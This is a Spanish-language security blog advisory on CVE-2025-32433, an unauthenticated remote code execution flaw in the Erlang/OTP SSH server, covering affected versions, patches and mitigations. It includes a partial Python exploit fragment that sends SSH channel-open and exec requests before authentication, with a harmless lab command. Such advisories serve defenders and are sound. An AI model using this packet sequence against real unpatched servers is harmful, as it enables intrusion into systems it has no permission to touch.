Cabecera blog ciberseguridad

CVE-2025-32433: Ejecución remota de código en el servidor SSH de Erlang/OTP

La CVE-2025-32433 es fácilmente explotable, de ahí que sea considerada crítica

La CVE-2025-32433 permite la ejecución remota de código en el servidor SSH de Erlang/OTP sin necesidad de autenticación previa

Se ha hecho pública la CVE-2025-32433, una vulnerabilidad crítica que afecta al servidor SSH implementado en Erlang/OTP (Open Telecom Platform).

Esta vulnerabilidad permite la ejecución remota de código sin necesidad de autenticación previa, mediante el envío de paquetes específicos durante una sesión SSH incompleta. Dado que su explotación tiene una complejidad muy baja y su impacto es total sobre la confidencialidad, integridad y disponibilidad del sistema, esta amenaza ha sido catalogada como crítica.

Pocos días después de su divulgación, surgieron múltiples exploits públicos, lo que incrementa el riesgo de explotación activa a corto plazo.

Características principales de la CVE-2025-32433

A continuación, se detallan las principales características de la vulnerabilidad:

  • Identificador CVE: CVE-2025-32433.
  • Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (10.0 Crítico).
  • Fecha de publicación: 16/04/2025.
  • Software afectado: Erlang/OTP (versiones 25.x, 26.x, 27.x).
  • Requisitos de explotación:
    • Acceso de red al puerto donde escucha el servidor SSH OTP.
    • No requiere autenticación previa.
    • No requiere interacción del usuario.
  • Versiones afectadas:
    • OTP 25. Hasta 25.3.2.19.
    • OTP 26. Hasta 26.2.5.10.
    • OTP 27. Hasta 27.3.2.

Proceso de explotación

Esta vulnerabilidad no requiere la explotación de corrupciones de memoria, desbordamientos de búfer (BOF) ni otras condiciones complejas. El fallo es puramente de lógica de protocolo: el servidor SSH de Erlang/OTP permite procesar solicitudes de apertura de canal y ejecución de comandos antes de que se haya completado el proceso de autenticación.

Un exploit funcional realiza los siguientes pasos:

  1. Establecer una sesión SSH TCP.
  2. Intercambiar banners.
  3. Enviar un paquete SSH_MSG_KEXINIT.
  4. Enviar un SSH_MSG_CHANNEL_OPEN.
  5. Enviar un SSH_MSG_CHANNEL_REQUEST con un comando arbitrario.

Fragmento clave del exploit:

#1. Establecer una session SSH TCP
socket.create_connection((HOST, PORT), timeout=5)

# 2. Intercambiar banner SSH
s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
banner = s.recv(1024)

# 3. Enviar SSH_MSG_KEXINIT (iniciar intercambio de claves)
kex_packet = build_kexinit()
s.sendall(pad_packet(kex_packet))

# 4. Enviar SSH_MSG_CHANNEL_OPEN (abrir canal sin autenticar)
chan_open = build_channel_open()
s.sendall(pad_packet(chan_open))

# 5. Enviar SSH_MSG_CHANNEL_REQUEST (ejecutar comando arbitrario)
chan_req = build_channel_request(
command='file:write_file("/lab.txt", <<"pwned">>).' 
)
s.sendall(pad_packet(chan_req))

Mitigación de la CVE-2025-32433

La solución principal es actualizar a las versiones corregidas:

  • OTP 25.3.2.20.
  • OTP 26.2.5.11.
  • OTP 27.3.3.

En entornos donde la actualización inmediata no es posible, se recomienda:

  • Deshabilitar el servidor SSH de Erlang/OTP si no es esencial.
  • Restringir el acceso al puerto SSH mediante firewalls o ACLs.
  • Monitorizar intentos de conexión anómalos al servicio SSH OTP.

Detección de la vulnerabilidad

La vulnerabilidad CVE-2025-32433 puede identificarse mediante la versión de Erlang/OTP instalada en el sistema. Comandos como erl -version o consultando los paquetes instalados permiten verificar la presencia de versiones vulnerables.

Tarlogic cuenta con un servicio de vulnerabilidades emergentes que monitoriza de forma proactiva y continua el perímetro de seguridad de las empresas para informar, detectar y notificar urgentemente la presencia de esta vulnerabilidad y cualquier otra debilidad que pueda suponer una amenaza crítica que cause un grave impacto en la seguridad de los activos corporativos.